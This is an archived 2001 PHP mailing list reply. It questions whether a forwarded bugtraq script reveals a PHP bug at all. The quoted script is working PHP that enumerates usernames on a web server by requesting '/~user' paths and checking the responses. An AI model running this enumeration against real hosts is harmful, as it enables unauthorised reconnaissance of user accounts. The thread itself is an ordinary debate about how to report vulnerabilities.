Re: Bug found

How is this different from *ANY* program that remotely surfs to web-sites to see if they exist? Am I missing something, or couldn't a clueless newbie script-kiddie AppleScript a browser to do this? -- WARNING richard@zend.com address is an endangered species -- Use ceo@l-i-e.com Wanna help me out? Like Music? Buy a CD: http://l-i-e.com/artists.htm Volunteer a little time: http://chatmusic.com/volunteer.htm ----- Original Message ----- From: Micheal <musicguy2002@yahoo.com> To: <php-qa@lists.php.net> Sent: Friday, September 21, 2001 5:12 PM Subject: [PHP-QA] Bug found > I was sent this bug via bugtraq. Here is the code: > #!/usr/local/bin/php -q > <? > /* > default misconfiguration which could allow remote > users > to determine whether a give username exists on the > vulnerable system. > > By Gabriel A Maggiotti > */ > > > if( $argc!=4) > { > echo "usagge: $argv[0] <host> <userlist> <delay>\n"; > return 1; > } > > > $host=$argv[1]; > $userlist=$argv[2]; > > > $fd = fopen ($userlist, "r"); > while (!feof ($fd)) { > $user = fgets($fd, 4096); > > $fp = fsockopen ($host, 80 , &$errno, &$errstr, > 30); > fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n"); > while (!feof ($fp)) { > $sniff=fgets($fp,1024); > if(strpos($sniff,"permission")!="") { > echo "$user exists!!!\n"; > break; > } > } > fclose ($fp); > sleep(3); > } > > fclose ($fd); > ?> > As you can clearly see, this code allows someone to > see if a specified user is on a system and they can > then get other sensitive information about that user > if they really wanted to. I love PHP and I'd hate to > see security holes like this and others (I have > received other holes similar to this from bugtraq) set > PHP back but security risks are security risks. I hope > this is a correct list to send this too. . . I > searched all over php.net for the correct way of > contacting the php staff but I could not find it. > > __________________________________________________ > Do You Yahoo!? > Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com > > -- > PHP Quality Assurance Mailing List <http://www.php.net/> > To unsubscribe, e-mail: php-qa-unsubscribe@lists.php.net > For additional commands, e-mail: php-qa-help@lists.php.net > To contact the list administrators, e-mail: php-list-admin@lists.php.net